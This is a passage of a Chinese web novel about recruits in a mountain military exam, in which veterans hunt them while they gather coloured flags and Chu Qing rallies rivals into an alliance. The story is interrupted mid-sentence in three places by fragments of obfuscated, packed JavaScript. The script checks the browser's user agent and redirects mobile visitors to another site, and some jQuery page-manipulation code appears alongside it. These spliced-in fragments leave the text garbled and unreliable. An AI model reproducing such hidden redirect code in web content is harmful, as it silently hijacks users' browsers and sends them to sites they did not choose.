大家都竖着耳朵听初暒答复,然,初暒听完艾川栋的话想都不想的说,“既是考核,便要各凭本事,新兵结训考核就是为判定新兵在营中作训成果,如果考核不过,便是说那人不适合当兵,不如趁着胳膊腿儿与性命俱在尽快改行,若连考核内容都不晓得,就开始拉帮结派以求捷径,到时就算顺利通过,被分去好却危机四伏的去处后万一丢了命,岂不是在害人。” 艾川栋拉下脸示好,初暒却一反常态拒绝了他,他脸上羞愤挂不住,狰狞了好一会儿才压着声音怒道,“少说的这般冠冕堂皇!往日倾囊相授我还以为是你大方,却不想事关从军前途你也是个只顾自己不念同袍的小人!哼!我真是瞎了眼才与你这样当面一套背后一套的土匪说这些!” 艾川栋这番强词夺理落下,周围一些新兵看着初暒的眼神都变了,宋运小声问,“初暒,你当真不管我们了么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“阎教头,五个营两千五百三十六名新兵均已进入各自考核地。” “都准备好了吗?” “是,万事俱备。” 阎龙不放心,又交代一句,“此批新兵中有不少练家子,吩咐抓捕兵士们千万小心。” “练家子?”回话老兵想起自己方才竖着耳朵在乙营听见的闲聊,似有些不屑,“阎教头是说虔来山那群土匪?虽然这些人已经受招是我中北兵士,可一个月时间哪能将身上的土匪习气褪去,终究是一帮聚不拢、自私自利之人罢了,他们只知单打独斗,何须放在眼里。” 他先入为主,阎龙没有再与之多费口舌,只对回来复命的众老兵又道,“此山脉紧挨西部边境,需慎防敌间趁机潜入山中图谋不轨,各位切记告知手下考核驻地兵士,若见异动,速发信通报,若情况紧急,新兵中要是有能用上的……可用,但不可对其放任不管,一切仍以考核辖地教头口令行事。” “是!”众老兵领命散去。 半个时辰后,新兵考核正式开始,受过严格操练的老兵们一进山便有条不紊的分头行动,他们依仗对此处地形熟稔、对新兵躲藏心思了解,不到一炷香时间就抓住了数十个新兵。 山里气温低,前几日下过的雪还十分厚实,耳听老兵们将几个被抓新兵拽下山的脚步走远,杨田才从一个斜面陡坡的积雪中挺身坐起。 “呼……” 杨田抚了抚自己狂跳不止的胸口后,朝四周望了望,暗想:这山不小,可老兵们都像是开了天眼似的一抓一个准,方才有好几人都藏在这片,可到此时只剩他一个人了。 虽然不舍离开这处陡坡,但杨田也觉得这大冬天的总是藏在雪里不被抓也会冻死,倒不如自己小心点儿和教头们在山里躲个迷藏,还能顺便寻一寻小旗。 杨田略一思忖,抬手拂掉自己身上雪砺,他真要起身离开此处,余光却瞧见脚边似是一块黑黢黢的三角布片。 他伸手将三角小布从积雪中抽出后,发现其侧边还套了一杆短细枝,瞧着不是长在山里的东西,倒像是—— 小旗! 123. 抓捕 乙营新兵考核地在深山之中。 眼下正是凛冬,山中树木枝叶凋零的十分惨淡,人根本无法隐匿其后,不过深山也有深山的好处,随处可见的巨石嶙峋倒也是躲藏栖身的绝佳之地。 只是…伍千裘运气不好,才刚在两块石头夹缝中猫好,抓捕老兵们就跟向狗借了鼻子似的闻着味儿摸过来了。 他卡在石头缝里与老兵打了个照面,此时再想跑已是来不及了,抓捕老兵看伍千裘撅着个腚与自己讪笑,也不着急抓他,只问,“我怎的瞧这个新兵蛋子有些面熟?” 另一老兵答他,“这不是整日跟在初暒屁股后面的小喽啰么,挺壮实的一个汉子,也不知发的什么颠非要对一个土匪头子惟命是从。” “哦原来是他,这厮也算是初暒的左膀右臂了,竟这么快就折在你我手里了,实在有些可惜。” “一个土匪而已,有甚好可惜的……” “二位……”伍千裘打断他们闲聊,作难说,“要抓便抓,我卡在这儿怪难受的。” 两个抓捕老兵相视一眼嗤笑一声,连拽带拉的将伍千裘从石缝中带出来。 伍千裘重获自由,他舒展完僵硬身子又甩了甩手脚后,低头向两位老兵抱拳答谢,“多谢二位出手搭救。” “呦呵,还怪懂礼的,看来他们教头本事不小,连虔来山土匪都能教的有模有样嘛。” “行了,甭废话了,尽快将他抓了送下山去罢……” 其中一个老兵伸手去抓伍千裘手臂,却没想到方才还对自己彬彬有礼的汉子竟迅疾变拳为爪将他手腕反手一折,又抬脚将他踹的连退几步。 老兵心中一惊,他顾不得手腕与胸口疼痛,只咬牙低声招呼同队,“上!” 伍千裘有功夫傍身,原先也曾因这身功夫做过晁都军狱院狱官,但他此人并不好斗,故而除过威虎寨一众土匪,新兵营中鲜少有人晓得他的本事。 与这两个老兵纠缠十几招后,伍千裘顺利将他们放倒,随手抽出他们腰间裤带将他二人背对背捆在一起后,伍千裘屈膝蹲地平视着两个老兵,笑问,“我见二位面生,又听你们说‘他们教头本事不小’,敢问二位是从哪一军调来协助新兵考核的兵士?” “哼……”老兵下巴被打了一拳,冷笑完又疼得嘶了一声,“虽是考核,但你我也算敌对双方,你用脚指头想想,看我会不会回答你。” 抽出老兵腰带时,还将一块黢黑三角小旗从他们腰间带了出来,伍千裘拾起小旗塞进自己胸前褡裢,遗憾地点了点头,“受教了,此举无奈,还请二位不要见怪。” 他说完起身就走,坐在地上的老兵望着他的背影,呼喊道,“那小子,你身手不错,留个姓名我俩将来好寻你报仇!” 伍千裘闻言,顿住脚步后回头与他们认真道,“我名伍千裘!后会有期!” 夜里没有星月,天明后亦不见明亮日光。 不奢望寻找小旗以争名次,只想趁着阴翳天气在山里安稳躲到考核结束的新兵们寻见一片树林,还在美滋滋的做以逸待劳的美梦,却不想此处也与他处一样,埋伏着许多等候已久的抓捕老兵。 新兵们一见身着军服戎装的兵士扭头拔腿就跑,等跑出一段距离后才发觉这里竟然钻了这么多人,他们来不及扯笑道巧,纷纷四散着没入更深处的山林中。 山林附近,艾川栋手心攥着一面小旗,正低头仔细寻找其他小旗时忽听前方有匆匆脚步声传来,他抬眼去寻,又看见有许多惊慌失措的常服小兵朝自己所在方向奔来。 艾川栋暗叫不好,但并没有立即逃离,他先躬身以齐腰杂棘作掩护待疾跑新兵从面前过去后才稍稍冒头。 追着新兵们从树林里跑出来的抓捕老兵看到这些臭小子四散跑开连个影儿都不剩,不由喘着粗气,纳闷,“阎龙这批新兵怎么都这般能跑,我方才才跑丢一个,怎么同你们埋伏在此又跑丢一群?” 其中一个兵士答他,“在此山受考是新兵乙营,乙营中大多都是从虔来山招来的土匪,这批土匪原先就常在虔来山里生活奔走,如今在这小小山头逃脱追捕还不是跟闹着玩儿似的,而且我还听闻,他们自入新兵营起每日趋跑都跟他们那个姓初的匪首一样穿着铁甲、绑着沙囊,跑完十里都跟没事人似的,今日看来,他们体力这一关都是能通过的。” “姓初的匪首?可是那个与她同期新兵比试骑射大获全胜哪个?” “是她。” “小小年纪还真是了不得,若有机会我倒想亲自会会她……” 老兵们在夸初暒,今日才被她拒绝搭伙的艾川栋鄙夷地切了一声,他的声音极小,可还是传到了即使在说话,但仍谨慎非常的兵士耳中。 老兵们默契地无言相顾一眼后朝掩护着艾川栋的杂棘蹑脚走来,艾川栋在危急中思索逃离之法时突然瞥见离自己不远有丛枯枝摇摇曳曳的很是奇怪。 双拳难敌七八九十手,艾川栋眼看自己就要暴露,也不再纠结什么坦荡或是卑鄙,抓起脚边一块碎石就向那丛枯枝甩去。 “哎呦!”举着枯枝蹲在地上蹲得脚麻的宋运不知被劳什子砸了下脑袋,痛的他下意识呼喊出声。 被宋运这声‘哎呦’吸引了注意力的抓捕老兵们迅疾调转了脚步,宋运揉完自己疼得一阵一阵的脑袋就看见四五个兵士像狼发现羊羔似的眼冒金光的朝他跑来,立刻吓得瞪着眼睛转身就跑。 只是他蹲在那儿装枯树枝有点久,双脚实在有些麻木,没跑多久就被身后兵士揪住了衣领。 “哎哎,我脚还麻着,几位大哥手下留情,手下留情啊。” 宋运在新兵中年纪最小,一张小脸还奶呼呼的,他此时委委屈屈小声告饶,看着十分无害。 一个小屁孩而已,也翻不天儿。 抓捕兵士松了手,说,“不想受罪就识相点儿老实随我们下山,否则……” 宋运弯腰揉捏着自己的小腿,连忙道,“我识相,很识相的,多谢几位大哥手下留情……” “哎可千万别道谢,晨时就有一个新兵借道谢之名暗算了我两位同袍,你千万别张嘴,谁晓得你们这帮小子心里憋着什么坏屁,带走!” 抓捕老兵一声令下,就有两人走了过来,宋运清澈的眼珠子微微一骨碌,在他们走进自己时,又哎呦一声,“哎呦,方才蹲的太久,双腿好麻,麻木的嗡嗡的迈不了步子,能不能劳烦两位大哥扶扶我?” 两人老兵看了一眼下令之人脸色后,才向那小兵一左一右走去,但谁料他们刚对他伸出手,迎面便扑来一片粉状薄雾,眼前倏地白茫茫一片,几个老兵又闻见这薄雾似是还带着异香,连忙捂着鼻子连连后退几步,大喝,“小心迷药!” “不是迷药,是加了茴香油的茴香粉,此物可入药,能麻醉,是缓解痉挛、减轻疼痛用的。”从军靴中掏出药粉对他们挥出去的宋运,抱歉说,“真是对各位不住,只是我答应初暒不能拖大家后腿,实在不能在这里就被抓回去,这药粉药力不深,顶多能让几位大哥无力一盏茶时辰,得罪得罪,我先行一步了。” 浑身无力的抓捕老兵,躬身撑着膝头仰头问他,“懂药性、能用药,你叫什么名字?!” 宋运挠挠头,想了想还是答,“先不能说,我们有缘再会罢。” 躲过老兵抓捕,宋运再不敢原地躲藏,他依靠在虔来山采药时累积的地形经验,只往山势高、视线佳的方向跑,以便能让自己在暗,让抓捕他们的老兵暴露在明。 宋运在脑中分辨地势,没有留意身边逐渐阴暗森凉。 直至被一截插在地上的白骨绊倒,他才看清自己跑进了一片乱葬岗。 行军考核山地途中,他们曾路过一处村户,那个村子瞧着不富裕,死了人家里没钱料理的,大概都埋进这里了。 宋运幼时跟师傅外出行医时,见过不少无力回天的亡者,他自小便知那一具具枯骨也曾经都是有血有肉的活人,没什么好怕的。 因而纵使这片乱葬岗中的遗体被山里野兽刨出来啃食撕咬,遗骨尸首被分离的触目惊心,宋运也只是面不改色将那些被拉扯的东一片西一片的尸骨整体摆在一处。 他摆的专注,可有奔逃到此的新兵见乱葬岗中有道身影起起伏伏的穿梭其中,都吓得惊叫一声吼,丧魂落魄着连爬带滚的跑开了。 宋运担心他们的嚎叫声将抓捕老兵们招来,暗暗决定再收拾一具遗骨就走,他弯腰将一具像是才亡故的尸首抬进坟坑,余光却见坟坑正中插着一面黢黑小旗。 教头们再没有人性也不会将人家才死的尸体抬出来在坟坑里插上小旗吧? 考核之地最晚是昨日布置好的,那这人是什么时候死的? 宋运想验验这具新尸死亡时间与是否有外伤,却听见了一阵杂乱脚步声由远及近。 抓捕老兵们果真闻声来了,宋运不再耽误,抄起坟坑中的小旗闷头就跑。 山树林里不时有新兵被老兵连拉带绑拽走的动静,有不服被捕的,张着牙舞着爪就朝老兵们扑去,妄图挣脱他们束缚还自己一个自由。 新兵们想为自己拼个出路,下手都没轻没重,而抓捕老兵们手上虽有分寸,却也能打的他们叫苦连天,两队人都没想到对方如此难缠,一时间都看彼此很不顺眼。 被抓下山的新兵们个个鼻青脸肿,送他们下山的老兵脸上亦挂着彩。 已过正午,人只抓了半营。 阎龙数完人头,没在里面发现自己不待见的那几个,转身看向不听他话,被新兵们暗算的微微龇牙的老兵。 老兵抬手蹭了一下自己疼得发痒的嘴角,嗔怒,“看你教出来的好兵!” 阎龙勾了勾嘴角,“过奖。” 他这幅看笑话似的模样很欠揍,老兵却并不屑与他计较,只问,“此次考核除过姓白的小子上面交代不许为难,可我问过所有抓捕老兵,他们都说没见过那个虔来山匪首初暒,这山里有猛兽泥潭、也有山脚猎户布下的捕兽陷阱,她这么久都没消息该不会出什么事吧?” 老兵担忧不无道理,但阎龙看了看天色,思忖片刻后,回,“若遇不测,她手里有火折。” “可万一她来不及……” 阎龙打断他,“山中乙营新兵还有一半,有空惦记她,倒不如先想想若不能在天黑前将他们全数抓回,该怎么向上面交代。” “那你也琢磨琢磨,我们若是将新兵全部抓回,你该如何向淮指挥佥事交代罢。” “大不了,我将自己交出去。” “西北是什么地方?你明知淮指挥佥事舍不得你。” 阎龙不耐烦道,“废话少说,要是天黑前还抓不住剩下的人,便开启备用之策!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892084|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“备用之策险峻异常,若施用不当,恐伤人性命,阎教头当真要用?” “有体力在山里奔逃,能敏捷躲过抓捕,又不至于被山中猛兽、乱葬岗吓破胆之人已是不小的人才,若能通过备用之策,那么即使将他们交给淮辛岩,我又有什么放心不下的。” 老兵略一考量,点头,“是,那我这就去准备。” 今日是个阴天,乌云笼罩在巍峨高山上压得人有些喘不过来气。 阎龙目送领命离去的老兵走远后发觉自己的胸口莫名开始砰砰作响,他抬手覆在其上让自己平静下来同时双眼紧紧盯着山顶。 像是在望其成,又像是在盼其败。 深山之中,参加考核的新兵越来越少,抓捕老兵数量却不曾消减,越来越多的人因空着肚子在山中奔逃疲惫至极,以致路遇抓捕之人无力逃脱,只能认命的束手就擒。 但…新兵中仍有几个跟寻旗杠上的小兵不知劳累,越跑越精神,他们这些人大多都有在山脉里驻留的阅历,最是清楚山地中,唯有山顶可居高临下遍览群敌,是绝佳潜伏之地。 白冲一路上只遇见过几批体力与武艺俱废的老兵,他没怎么出力便轻轻松松从他们手中逃脱,因而当白冲揣着自己找到的旗子,走到离山顶不远一处树林时不由恹恹感叹一句:“这考核真是无趣,还没有先前在虔来山打土匪有意思……” 听见他这话,钻在一旁草丛里的两人趴不住了,楚六最先跳出来指着白冲怒道,“杀了我威虎寨那么多兄弟你说有意思?!我这些日子看在初暒面儿上没有与你为难,没想到你这厮这般嘴贱,今日我非给你点颜色瞧瞧不可!” 伍千裘跑出来连忙将楚六拦住,劝说,“咱们还在考核,动静太大把老兵们招来就不好了,等考完着,考完你再揍他!” 楚六挣不过伍千裘,只能乱蹬着双腿任由他将自己端走,白冲见状嗤笑一声,似乎在笑他们不自量力。 宋运远远看见自己熟悉的哥哥们都在此处,一溜小跑过来,满头大汗说,“哎呀妈,太好了哥哥们都没被抓。” 伍千裘左右看看,问,“你们可见过初暒?” 宋运一听也急了,“是啊!初暒呢?” 白冲幸灾乐祸说,“你们都知道来这儿,她能不知道?这会儿不在肯定是被抓了呗。” “胡说八道什么!闭上你的狗……”楚六还没骂完,恍惚好像听见了脚步声,他下意识想躲,一偏头就瞧见累的面无人色的艾川栋与杨田踢踢踏踏的向他们走来。 杨田:“我的天爷,这山怎么这么大!” 白冲问艾川栋,“你俩怎么凑到一起了?” “迷路了,方才瞎转悠的时候碰上的。”艾川栋站定喘了口气,反问他们,“哎,你们至今没被抓,各自都找见几面旗子啦?” 宋运喜悦说,“我有四面!” 伍千裘:“我七面,楚六有五面。” 杨田不好意思笑笑,“我…只寻见三面。” 艾川栋见白冲不答话,又问一句,“小白你呢?” 白冲:“八面。” 他兴致不高,可艾川栋听到这个数量眼睛都亮了,“我有六面,这就是只咱们这几个人就有三十三面了!” 伍千裘:“初暒还没到,等她来了,我们小旗数量一定更多。” “那就等她来了再说。”艾川栋摆摆手,期颐的看向大伙儿,提议说,“教头说考核结束后会以新兵寻到的小旗数量多寡排名评次,而今五十面小旗中有一大半都在咱们手中,我寻思你我兄弟何必任由这破旗子定先后,倒不如都将各自手中小旗交出来平分,到考完以成绩分兵时,让咱们兄弟们都分配个好去处,诸位看如何?” 伍千裘问,“我们六个人,一共三十二面小旗,若按照你说的平分,每人有五面,那剩下两面给谁?” 艾川栋似乎早就分配好了,脱口说,“白冲寻见的最多,多出来的一面自然要给他,另一面么,就给我罢,想来这多一面少一面的也没甚影响。” 楚六不服,阴阳怪气道,“我们老伍头寻见的也不少啊!再说多一面少一面没影响,你怎么不说给我,你这算盘打得,财神爷年底都得卖里衣还债了!我不同意啊,我丑话说在前头,谁敢动我旗子我就与谁拼命!” 杨田:“大家都是好不容易才寻见小旗的,犯不着用多的匀我们少的。” 宋运也点头,“初暒说‘既是考核,便要各凭本事’,我也不想多占大家一个。” 他们自诩清高,艾川栋却冷笑一声,“我好话已经说完,既然你们不愿同甘,那我也不必客气同你们共苦,小白,你若那我当兄弟,此事便不要插手!他们手中小旗我艾川栋要定了!” “哎!” 白冲哎了一声,看着朝他们扑去的艾川栋拦也不是,助也不是,他围着打得抢得热火朝天几人团团转,不经意间与他们挪到了一处地势平坦宽阔之地。 脚下触感奇特,白冲刚察觉不对,下一瞬就看见自己双脚离地,不过眨眼间他们挤在一团的六人便全部都被困在一张硕大的捕兽网中。 人叠着人、脚蹬着脸。 白冲避过抵在自己下巴的不知道谁的手肘,偏头看向底下穿着一身军服戎装的兵士将捕兽网引绳缠在树上后款款走出来,恨恨道—— “是你!” 124. 边境 初暒身着一身军服戎衣,叉腰立于扭动挣扎的捕兽网侧下仰头看着他们,艾川栋抻着脖子怒骂,“姓初的,你手段如此下作当真是卑鄙无耻!快将我们放下来!有本事你与我光明正大的打一场!” 他的谩骂让人不痛不痒,初暒反问,“我卑鄙?我可没有惦记同袍费心费力寻到的小旗,也没有要不到就去抢的。” 艾川栋反驳说,“领队教头说了‘结训后,小旗不问来路’这不就是要人抢的意思吗!” 初暒:“你理解的倒也不错,那么,如今你被我捉了,其他的人小旗我没兴趣,我单想要你的,若是你交出小旗,稍后考核我罩着些你,如何?” “你做梦!”艾川栋骂道,“老子好不容易得来的小旗怎可能你想要就给你!除非老子死了!” 初暒瞥了一眼快要撑不住六人重量的捕兽网,“你也知道自己小旗来之不易,若有人抢,你一定拼死抵抗,怎么也不想想,你去抢旁人,你们双方会不会落个两败俱伤的下场,我们同营一月,不说亲如手足,怎么也都算兄弟一场,怎么被考核教头挑拨一句,就蠢得与自己的兄弟们拳脚相向?” 艾川栋支支吾吾不知该回说什么,白冲问她,“那你用捕兽网将我们困住究竟是什么意思?” “不将怒火快顶破头骨的你们困住,还有谁有脑子能将我的话听进去?” 楚六被挤压的面容都有些扭曲,“你有话快说,这不知谁的脚丫子,都快怼到我嘴里了!” 初暒来回踱了几步后,看向叠在捕兽网里的几人,认真道,“能避开山中猎户陷阱与遍山老兵抓捕来到此处足见诸位才能,但是如果想要顺利通过接下来的考核,我们就须得放下成见隔阂团结一致,否则便也只能像零落在水里的虾米一般,被那群大鱼分而食之,因而,我在此处,是为了守株愿与我联手共克此关的新兵,只是……不知网中诸位是不是我要等的人。” 宋运与杨田忙说,“是是是!我们当然是了。” 艾川栋求之不得,脸上对初暒的愤怒瞬间变成喜悦,可白冲却忿忿道,“我昨夜喊你本就是为了商议考核结盟一事,奈何你装睡对我置之不理,可为何到此时我们各自都揣了不少小旗才说要联手,你老实说,你究竟安得什么心!” “昨夜你喊我了?”初暒蹙眉,仔细回忆后又道,“我没听到啊?” 初暒没有扯谎。 自入新兵营后,她夜夜都睡不安稳,每晚要么浅眠,要么便深陷前世梦魇难以自拔,直至营中叫起金铙声响前几刻才能从中惊醒,她是真没听见白冲叫她。 初暒神情不似作假,白冲也明白是自己误会了她,犹豫片刻后,才说,“既然你诚心邀约,那我便勉为其难答应了,不过先说好,我不是你手下喽啰,若之后我与你意见相左,你不许对我指手画脚。” 白冲在新兵营中担任一营什长,但他手下新兵似乎都与初暒这小子是一头,没机会服众本就让他不悦,要是接下来一起行动中再被初暒挥来喝去,那他的脸还往哪儿搁。 “提议相悖时,谁有理,我自会听谁的。”初暒说完,弯腰从地上捡起一块扁平石头,“多有得罪,我这就放诸位下来。” 初暒后退几步抬手将石片甩向已经开始呲呲断裂的捕兽网吊绳,‘咚’的一声,尘土四起,六个人从网里钻出来后都龇牙咧嘴着捂着自己的屁股。 楚六问,“幸好这捕兽网位置不高,不然不用等老兵抓捕,咱们先得交代到这儿了,诶?你哪儿弄来的捕兽网?还有你这身军服,这不是那群老兵们的么?” “我在山里遇见了几个猎户陷阱,顺手将其拆了挪到这儿了,这衣服……”初暒将已经没用了的捕兽网拖进树林隐匿,才答他,“被老兵撵的烦,于是敲晕了其中一个落了单的,我与他互换衣裳又抹了脸后,用火折子起烟招老兵将他拉下山了。” 杨田惊讶,“老兵把老兵当成新兵带下山了?!” 伍千裘也终于出声,“所以你就穿着这身军服在山里大摇大摆溜达到现在了?” 初暒:“嗯。” 楚六拍手称赞,“妙啊!” 初暒又从自己胸口褡裢摸出一包山栗子甩给他们分食,“我在山里寻见了些栗子,你们先垫垫肚子。” 艾川栋撇撇嘴后悔自己为何没想到这个主意,而后又像是忽的想起什么似的,边啃剥山栗子边问,“初暒,你今日在这山里寻见多少小旗了?” “我还未数。”初暒随口回完,又问其他人,“你们手中小旗都是什么颜色?” 白冲掏出自己找到的小旗,疑惑,“我身上的小旗都是黑黢黢的,这玩意儿哪有什么颜色。” 初暒接过他手中小旗,在积雪中用力揉搓片刻后,大家才看清这旗子原是青色。 “领队教头说,山中小旗共有五色,只是小旗颜色不鲜艳,像是他们用了八百年的古董,在雪地里蹭蹭才能显出本色来。” 初暒将小旗还给白冲,又道,“我的都是赤色,你们看看自己的。” 几人闻言,纷纷掏出自己藏在怀中袖里的小旗蹲在地上磋磨,艾川栋搓完自己的小旗,起身时余光瞥见初暒腰后确实塞着一把带些赤色痕迹的小布,说,“我有三面黑旗,三面白旗。” 白冲:“我手里八面都是青旗。” 伍千裘:“我均是黄旗。” 楚六:“我的搓了没反应,都是黑的。” 宋运:“我都是白旗。” “我黑旗一面,黄旗两面。”杨田不解,“大家手中小旗颜色都一样,怎么只有我与艾川栋有两种?” 初暒与他们解释,“军中白、青、黑、赤、黄五色小旗分别与金木水火土五行对应,而五行又分别指向五个方位,其中,金为白,指西;木为青,指东;水为黑,指北;火为赤,指南,黄为土,指中部,你二人手中两色,便是说,你们在山中迷路,一个从西走到了北、一个从北绕到了中。” 伍千裘:“原来如此,那么根据这五色我们便能分辨各自是从什么方向汇聚于此的。” 白冲:“知道了来处又能如何,你方才不是说接下来的考核非合众力不能通过么,跟这小旗颜色有什么干系?” “我与诸位均是才入新兵营的小兵,虽然有点小聪明但也不能样样都料事如神,确实无法证明小旗颜色与考核有什么干系,我只是觉得,此次考核之址选在山地并安排老兵紧追抓捕,是为了考查你我体力,让我们在这偌大山中寻找小旗,是为考验眼力,这山中处处的陷阱与其他易扰乱人心神之地,则是为了试探我们的敏捷力与胆量,这些考核都只能考核新兵单人才能,朝廷招兵入伍是为了打仗,可打仗从来就不是一个人能做到的事,因而我猜想,躲避老兵抓捕与寻找小旗并非全部考核内容,接下来的考核一定需要还留在山中这些人齐心才能做到。” 初暒看向他们手中各色小旗,继续说,“小旗五色代表了五个方位,而今我们七人已从五条不通的路汇聚在此,这代表,只要大家分别将各自在上山路途中见闻全数说出,我们便能对教头们在这座无名山上布下的考场了如指掌,到那时,只要稍加揣摩,他们为我们这些未被抓捕的新兵安排的考核之地自然会水落石出。” 白冲撇了撇嘴,有些不自在的说,“倒是有些道理。” 众人都点点头示意初暒继续说下去。 “你们没有异议,那我先说。”初暒捡起一根树枝在地上圈画,“我从南边上来,一路遇见过几处猎户捕兽陷阱与三批老兵追捕,被追烦了便抢了一个老兵军服一直潜伏在此制高处等待,其他并无异常。” “我上山后,直至山体中部才在追捕我的老兵身上摸到小旗,我从那两个老兵话中猜出此次参与追捕的老兵并不全部都是新兵营兵士,他们或许来自中北其他军队,而且……”伍千裘看着初暒,“他们既知你姓名与来路,又似乎对与你亲近之人身形十分熟稔。” 初暒默默点头,杨田继而道,“我自北边上山,途中恰好遇到了董梁,我与他商量好结伴行事,却在遇到一处树林时因抓捕老兵们追捕分散,我也没发现什么异常,就是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896169|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知董梁现在何处。” 艾川栋觉得董梁这名儿耳熟,回想一瞬忽然想起,“董梁是不是你们同帐那个蔫不拉几的老实汉子?此人方才中了我声东击西之计被追捕老兵们逮住了,倒也不必挂心。” 与董梁同乡的杨田听闻,气急反问,“你小人!怎么连一营同袍都设计!” 艾川栋看了一眼不像杨田这样动怒的初暒,无所谓说,“我声东击西,是他反应不及才被抓走,关我何事。” 初暒拍拍杨田肩膀,安抚,“杨大哥莫急,董梁平安被老兵们带走,或许并不是一件坏事。” 看杨田闷闷点头,艾川栋又道,“我从西边跑到北边,路遇追捕老兵们时听他们说‘阎龙这批新兵怎么都这般能跑,今日看来,他们体力这一关都是能通过的。’他们认得阎龙,听语气,十分相熟。” 新兵营低处中北偏西,听说过他们这帮土匪,还与阎龙十分相熟? 初暒兀自在脑中思索那群老兵来路,楚六紧接着说,“我从北边上山后一路就顾着撒丫子跑了,一路上甩了许多抓捕老兵,沿途没瞧见什么可疑的。” 宋运想了想,将自己在乱葬岗见到的老坟新尸告诉大家,末了又道一句,“那是具男尸,年纪大约二到三十,没穿外衣,瞧着身形挺强壮的,不像突发重疾抱病亡故的。” 初暒问,“那片乱葬岗只这一具新尸吗?” 宋运摇头,“不确定,老兵们追的紧,我没细看,初暒,我是不是大意了。” 初暒笑笑,“不,那样紧急的情况还能看得这般仔细,你做的很好。” 众人都说完自己见闻,唯独白冲不知从何说起。 面前几人都曾路遇追捕,有的还险些被老兵抓走。 这些人都是跟着初暒练出来的,白冲很知晓他们本事,可为何他们这几个时辰都过得十分惊险,只有他无趣的想回虔来山打土匪? ‘你是白知州独子,自幼家中就将你该走的路铺好了……’ 艾川栋忿忿突然萦绕耳边,白冲心中有了猜测,一时有些羞愤难忍,他无法直视看着自己的众人,只道,“东边路阔,我并没有发现什么异常。” 白冲神情古怪,初暒依他身份也大概猜出这人在别扭什么。 东边的追捕老兵们不会为难他,自己走遍南边也没有发现什么,那么…… 初暒带几人蹲在自己早踩好点儿的隐蔽之处,又根据他们所述用树枝与石子在地上摆画出一份简易山地作战地形图。 “自兴民城出发,我们便一直在向西行军,而凌晨出新兵营时,夜色尚浓辨不清前行方向,我观天象也发现受考各营新兵也都分别被带到了西边。”初暒回忆着自己前世挂在赤霄军军帐中的中北驻防图地形又结合他们路遇老兵们时听到的话,确切说,“我们此时身处这山是中北西部边境,而抓捕我们的那些老兵大概都是驻守边境的兵士。” 乙营的考核之地离新兵营说近,不近,说远倒也并不非常远,以这两地之间距离,相互及时通信不是什么难事。 “原来如此,难怪他们对此处地形和我们新兵如此了解。” 伍千裘对初暒的话深信不疑,白冲却嗤笑一声,嘲讽,“你当中北是你家后院?说到边境就到边境啦?你怎么不说山那边就有北漠人,等过了考核,直接让我们这帮新兵原地上战场得了。” “还真有可能。”初暒不像在开玩笑,“不然你以为为何我们这批新兵只被练了一个月,教头们就忙不迭的拉来考核?” 确实古怪。 白冲笑不出来了,他问,“那你说接下来该怎么办?” 初暒看向自己摆画在地的地形图,抬手点着其中一处,“此处最靠近边境,或许有居心叵测的奸细徘徊观望,如果我是考核教头,附近又有我方驻守兵士潜伏,我不介意将自己手下还不知天高地厚的新兵们引到此处磨炼,见见世面。” 众人随初暒手指位置看去,等瞧见她的指尖之下赫然点着的方位后,均不约而同暗自低语一句—— 西北。